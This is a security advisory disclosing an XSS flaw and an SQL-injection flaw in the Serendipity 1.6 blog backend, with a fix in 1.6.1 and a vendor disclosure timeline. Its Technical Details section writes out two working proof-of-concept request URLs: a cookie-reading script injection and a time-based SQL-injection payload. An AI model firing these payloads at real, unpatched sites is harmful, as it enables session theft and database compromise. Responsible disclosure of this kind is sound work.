Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability

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Advisory:               Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID:            KORAMIS-ADV2012-001
Contact:                security () koramis de
Author:                 Stefan Schurtz
Affected Software:      Successfully tested on Serendipity 1.6
Vendor URL:             http://www.s9y.org
Vendor Status:          fixed

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Vulnerability Description:
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The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

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Technical Details:
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// XSS
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='";</script><script>alert(document.cookie)</script>

// SQL-Injection
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1&apos; OR 
SLEEP(10)=0 LIMIT 1--+

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Solution:
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Upgrade to version 1.6.1

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Disclosure Timeline:
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21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

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Credits:
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Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

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References:
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http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html